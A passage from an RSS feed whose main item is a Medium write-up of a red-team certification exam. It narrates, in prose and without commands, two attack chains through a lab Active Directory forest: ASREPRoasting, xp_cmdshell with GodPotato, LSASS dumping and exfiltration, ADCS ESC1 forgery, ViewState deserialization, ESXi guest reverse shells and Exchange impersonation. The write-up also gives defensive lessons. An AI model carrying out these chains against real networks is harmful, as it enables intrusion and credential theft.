internal AD forest (telecore.ad) Stack: Windows Server 2022 Domain Controller, MS SQL Server (SQLEXPRESS), ADCS Certificate Authority, Exchange Server, IIS 10 / ASP.NET Web Forms, VMware ESXi with AD-joined authentication Assessment Type: Adversary emulation — unauthenticated black-box (Path 1) and authenticated foothold escalation (Path 2) Tools: nmap, dig, ldapsearch, Impacket suite (GetNPUsers, mssqlclient, wmiexec, secretsdump), hashcat, John the Ripper, GodPotato, certipy-ad, rpcclient, smbclient, pyVmomi, ysoserial.net, exchangelib, netexec</p><h3>Path 1: Unauthenticated Adversary</h3><p>The brief for Path 1 is deliberately minimal: you are handed a /24 and told to behave like a telecom-motivated APT starting from zero. No credentials, no internal knowledge, nothing but network reachability into the range.</p><h3>Mapping the DNS Infrastructure</h3><p>Every internal Windows environment leans on DNS to keep itself glued together, and that dependency is usually the first crack an attacker can pry open. A UDP sweep across port 53 on the target range revealed multiple name servers, one of which turned out to be a secondary, less-hardened DNS instance sitting outside the domain controller itself. Once I pointed my resolver configuration at that secondary server, a full PTR sweep across the subnet mapped every reverse DNS record in the environment — instantly revealing the hostnames and roles of every server in play: the domain controller, the SQL server, the certificate authority, the Exchange server, and the hypervisor, all before a single authenticated packet had been sent.</p><p>The real opening, though, came from testing whether that secondary DNS server would honor a zone transfer request. It did — both in the reverse zone and in the forward zone for telecore.ad. AXFR being enabled on an internet- or perimeter-adjacent DNS server is a classic, almost nostalgic misconfiguration, but it remains devastatingly effective: a single dig command handed over the complete internal namespace, service records, and IP-to-hostname mapping for the entire forest, again with zero authentication.</p><p>With the domain controller identified from the zone transfer, the next step was straightforward LDAP enumeration over anonymous bind — pulling the domain’s functional level, then walking the directory for every object under objectClass=user and objectClass=computer. This produces two things that matter enormously for what comes next: a clean list of real domain user accounts (filtered out from the noise of Exchange system mailboxes and health-check accounts that always clutter a mailbox-enabled AD), and a map of which machines in the domain hold interesting roles.</p><h3>From Kerberos Pre-Auth to a Foothold on SQL</h3><p>With a legitimate username list in hand, the obvious next move was to test for accounts with Kerberos pre-authentication disabled — the classic ASREPRoasting misconfiguration. Impacket’s GetNPUsers module does this cleanly: it walks the username list and, for any account with the UF_DONT_REQUIRE_PREAUTH flag set, returns a crackable AS-REP hash without ever needing to know the account’s password up front. One of the service-oriented accounts in the environment had exactly this misconfiguration, and the resulting hash fell quickly to a dictionary attack.</p><p>Cracked credentials in hand, the next question was where they were actually valid. Cross-referencing against the computer objects pulled during LDAP enumeration pointed straight at the SQL Server. Authenticating to it with Impacket’s MSSQL client confirmed the account held sysadmin-equivalent rights on the instance — enough to re-enable the xp_cmdshell extended stored procedure, which is disabled by default on modern SQL Server but, once flipped back on, gives arbitrary OS command execution in the context of the SQL service account.</p><h3>From Service Account to SYSTEM</h3><p>Command execution as the SQL service account is useful, but it’s not the finish line — the account only had ordinary service-level privileges. A privilege check revealed SeImpersonatePrivilege was enabled, which is the precondition for the entire family of “Potato” privilege escalation exploits. On a fully patched, modern Windows Server build, most of the older Potato variants (RoguePotato, JuicyPotato, PrintSpoofer) have been closed off, but GodPotato remains effective against current builds because it abuses a lower-level RPC/DCOM marshaling primitive rather than a specific, patchable service misconfiguration.</p><p>Dropping GodPotato onto the SQL box through the xp_cmdshell channel and triggering it against a reverse shell payload elevated the session cleanly from a low-privilege service account to NT AUTHORITY\SYSTEM.</p><p>With SYSTEM on the SQL server, the natural move was a credential harvest from LSASS. Rather than dropping a third-party dumping tool that’s likely to trip EDR, I used the built-in comsvcs.dll MiniDump export via rundll32 — a living-off-the-land technique that doesn’t touch disk with anything outside of what Windows already ships. The resulting dump was compressed, exfiltrated back to the attacking host over a simple HTTP upload listener, and parsed offline with pypykatz, which yielded NTLM hashes and Kerberos material for every account that had ever authenticated interactively or as a service on that box — including a domain account with a considerably more interesting set of permissions than the one I’d started with.</p><h3>Abusing ADCS: ESC1 to Domain Admin</h3><p>The newly recovered account turned out to have enrollment rights on a certificate template published by the internal PKI, and enumerating that CA with certipy-ad flagged the template as vulnerable to the ESC1 misconfiguration: the template allows the requester to supply an arbitrary Subject Alternative Name while also permitting client authentication, meaning any authenticated user with enroll rights can request a certificate asserting an identity that isn’t their own — including Domain Admin.</p><p>Before actually requesting the certificate, it’s worth noting the certifried mitigation Microsoft shipped in response to CVE-2022–26923: modern domain controllers now cross-check the SID embedded in the certificate’s security extension against the SAN identity, so simply putting an administrator’s UPN in the SAN field is no longer sufficient on its own — you also need the correct objectSid for that account, retrievable over RPC with a simple SID lookup against the domain controller. With both the UPN and the correct SID supplied in the certificate request, the CA issued a certificate that authenticated as the Domain Administrator, and that certificate could then be exchanged for the account’s NT hash directly — no interactive logon, no password reset, just a straightforward abuse of a legitimate PKI enrollment workflow.</p><p>From there it was a matter of cracking the recovered hash offline and confirming Domain Admin access against the domain controller directly, which also surfaced an interesting security group in the domain that doesn’t exist in a stock AD install: an ESX Admins group, hinting strongly at the next phase of the assessment.</p><h3>Pivoting into the Hypervisor</h3><p>ESXi hosts joined to Active Directory for centralized authentication are common in mixed enterprise environments, and telecore.ad had exactly this setup: the hypervisor trusted domain credentials, and membership in that ESX Admins group translated directly into root-equivalent access on the host. With the cracked Domain Admin credential, I authenticated to the ESXi host and used the pyVmomi SDK — VMware’s official Python bindings for the vSphere API — to programmatically enumerate every guest VM running on the hypervisor: power state, guest OS, VMware Tools status, and, critically, the free-text annotation/notes field attached to each VM object.</p><p>Notes fields on virtual machines are a surprisingly common dumping ground for exactly the kind of information that should never live there — and this environment was no exception. One particular guest VM had its local credentials sitting in plaintext in its own annotation field, visible to anyone with sufficient ESXi permissions to query VM metadata.</p><p>With ESXi root privileges and VMware Tools confirmed present on the target guest, the final move didn’t require touching the guest’s network interface at all. VMware Tools exposes a guest operations API that lets an ESXi-privileged operator execute arbitrary processes directly inside a running guest VM, authenticated with the guest’s own local credentials, entirely out-of-band from the guest’s actual network stack. I used this to launch a reverse shell process inside the guest, landing an interactive session on what the environment had positioned as its most sensitive internal system — completing the unauthenticated attack path from a bare IP range down to code execution on a hardened internal Linux host, entirely through Active Directory, certificate services, and hypervisor misconfigurations chained together.</p><h3>Path 2: Authenticated Adversary</h3><p>Path 2 starts from a completely different assumption: you already have low-privilege, unauthenticated-but-network-reachable access to a single public-facing IIS web application, and the objective is privilege escalation and lateral movement from that single entry point through to sensitive business data.</p><h3>Breaking the ASP.NET ViewState</h3><p>The target application was a fairly standard ASP.NET Web Forms site — the kind of legacy internal tooling that telecom operators tend to keep running long past its expected lifespan. Web Forms pages carry a hidden __VIEWSTATE field that encodes serialized page state, cryptographically signed (and optionally encrypted) using a machine key configured in the application’s web.config. If that machine key is ever exposed, the ViewState mechanism — designed purely for tamper protection — becomes a fully general .NET deserialization gadget, because the framework will happily deserialize and execute anything correctly signed with the right key.</p><p>The application exposed a reporting feature that read files from the local filesystem based on a URL parameter, with essentially no path validation. That’s a textbook local file inclusion primitive, and the highest-value target for it was obvious: the application’s own web.config, which — as is unfortunately common — held its ViewState validation key and algorithm directly in cleartext, alongside a setting that explicitly relaxed the URL-to-filesystem mapping to make path traversal easier rather than harder.</p><p>With the validation key, the algorithm, and the ViewState generator value scraped from the page’s own markup, I had everything ysoserial.net needs to forge a malicious ViewState blob. The TextFormattingRunProperties gadget chain — which abuses a WPF-related deserialization path to spawn an arbitrary process — turned that forged, correctly-signed ViewState payload into direct remote code execution the moment it was replayed against the application’s own postback endpoint. No credentials, no authentication bypass in the traditional sense — just a trust boundary (the machine key) that had leaked into a place it was never supposed to be reachable from.</p><h3>Registry Credentials and DPAPI</h3><p>Command execution through the ViewState gadget landed in the context of the IIS application pool identity — not a domain account, but still a foothold worth building on. A search through predictable locations on the host surfaced a custom internal application with its own registry key under HKLM\SOFTWARE, storing a domain service account’s username in cleartext alongside a Base64-encoded, DPAPI-protected password blob.</p><p>Storing secrets in a machine-scoped registry hive that any local process can read is already a mistake, but the developer had additionally used DPAPI’s LocalMachine protection scope rather than CurrentUser — meaning any process running on that specific machine, regardless of which user account it’s running as, can decrypt the blob using nothing but the machine’s own DPAPI master key. A short PowerShell snippet using the standard System.Security.Cryptography.ProtectedData class was enough to unwrap it and recover a plaintext domain credential for a genuinely useful service account.</p><h3>A Second Path Through ADCS</h3><p>That newly recovered service account turned out to have its own enrollment rights on a different certificate template in the same PKI — again vulnerable to the same ESC1 misconfiguration pattern seen in Path 1, just via a different template and a different starting account. The exploitation mechanics were identical: enumerate the vulnerable template, retrieve the target’s SID over RPC, forge a certificate request asserting the Domain Administrator’s identity, authenticate with the issued certificate, and recover the corresponding NT hash — landing Domain Admin from an entirely different starting point than Path 1, but through the same underlying PKI weakness. It’s a good illustration of why a single vulnerable certificate template rarely stays contained to one attack path; if more than one principal can enroll against it, it’s effectively a shared skeleton key for the domain.</p><p>From there, authenticating directly to the domain controller as Domain Admin opened up the full SMB share tree, and a look through the Windows Task Scheduler’s on-disk task definitions turned up something unusual: a scheduled task configured to run a PowerShell script under the Administrator’s own context, seemingly for routine mailbox maintenance. Pulling that script down and reading through it revealed hardcoded Exchange service credentials — again stored in plaintext, this time inside a script whose entire purpose was mailbox automation.</p><h3>Exchange Impersonation and Mailbox Enumeration</h3><p>The credentials recovered from that scheduled task belonged to an operations-focused service account, and a quick programmatic check against the Exchange server confirmed it had been granted the ApplicationImpersonation management role — an Exchange RBAC role that, by design, allows a single service account to act on behalf of any mailbox in the organization without needing that mailbox’s own credentials. It’s an entirely legitimate feature meant for backup, migration, and integration tooling, but when the account holding it also has weak or exposed credentials, it collapses into a universal mailbox-reading primitive.</p><p>Using the Exchange Web Services API with that account’s impersonation rights pointed at the Administrator’s own mailbox, I was able to enumerate the Inbox, Sent Items, and Drafts folders directly — no need to ever touch the Administrator’s actual password. Reading through the recovered correspondence surfaced exactly the kind of operational detail that internal email threads tend to accumulate over time: database credentials shared between a DBA and an operations contact for a production SQL instance, network infrastructure access details passed along in a router-maintenance thread, and references to an internal marketing campaign server mentioned in passing in an unrelated message chain. None of this was the result of a single exploit — it was simply what falls out of an inbox that’s been collecting operational chatter for months, once you have legitimate-looking read access to it.</p><p>That last stretch of Path 2 is worth reflecting on separately, because it’s a different category of finding than everything before it. Getting to Domain Admin via ADCS ESC1 is a hard technical exploit with a clean root cause and a clean fix — restrict enrollment rights, disable enrollee-supplied subject, or require manager approval on the template. Reading sensitive operational secrets out of an executive’s inbox because a service account with impersonation rights had weak credentials is a softer, more human failure mode — and honestly the one that’s hardest to fully close, because impersonation itself is a legitimate and necessary Exchange feature. The fix there isn’t technical elimination, it’s credential hygiene and RBAC scoping: impersonation rights should be scoped to the specific mailboxes a given integration actually needs, not granted organization-wide by default, and any account holding that role deserves the same protection posture as a Domain Admin account, because functionally it often is one.</p><h3>Closing Thoughts</h3><p>Looking back at both paths together, the pattern that stands out most isn’t any single vulnerability class — it’s how often the misconfigurations were individually mundane and collectively devastating. A DNS server that shouldn’t allow zone transfers. An account that shouldn’t skip Kerberos pre-auth. A certificate template that shouldn’t let requesters pick their own identity. A registry key that shouldn’t hold a password, even an encrypted one, at machine scope. A scheduled task script that shouldn’t hardcode credentials. None of these individually would make a headline vulnerability disclosure. Chained together, in the right order, they took an anonymous position on a /24 all the way to Domain Admin and hypervisor-level code execution, twice, through two completely different entry points.</p><p>That’s really the entire thesis of AD-RTS as a certification, and it’s the same lesson every serious AD engagement eventually teaches: defenders tend to think in terms of individual controls, and attackers think in terms of paths. The environments that hold up aren’t the ones with zero misconfigurations — that bar doesn’t exist in any real enterprise — they’re the ones where no single chain of small mistakes reaches all the way to the crown jewels.</p><p>If you’re working through AD-RTS yourself, my honest advice is to resist the urge to jump straight to the tooling. Every phase of this exam rewards understanding why a technique works before running it — ASREPRoasting only makes sense once you understand what Kerberos pre-authentication is actually protecting against, and ESC1 only clicks once you understand what a certificate template’s enrollment permissions and SAN policy are actually meant to enforce. The course material front-loads that theory for a reason.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B-p06VDmeewZgy9f12e7jQ.png"></figure><p><em>If you found this useful, feel free to connect on</em> <a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a> <em>or check out my tools on</em> <a href="https://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=40f5e9450703" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/certified-ad-red-team-specialist-ad-rts-full-exam-write-up-40f5e9450703">Certified AD Red Team Specialist (AD-RTS): Full Exam Write-Up</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I tried Clean Up in the iOS 27 developer beta, and Apple's AI-powered image editing tool is finally worth using — but there's a big caveat]]></title>
<description><![CDATA[I put an early version of Clean Up in iOS 27 to the test against its iOS 26 equivalent, and the results surprised me.]]></description>
<link>https://tsecurity.de/de/3643305/it-nachrichten/i-tried-clean-up-in-the-ios-27-developer-beta-and-apples-ai-powered-image-editing-tool-is-finally-worth-using-but-theres-a-big-caveat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643305/it-nachrichten/i-tried-clean-up-in-the-ios-27-developer-beta-and-apples-ai-powered-image-editing-tool-is-finally-worth-using-but-theres-a-big-caveat/</guid>
<pubDate>Fri, 03 Jul 2026 13:03:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I put an early version of Clean Up in iOS 27 to the test against its iOS 26 equivalent, and the results surprised me.]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,79ms -->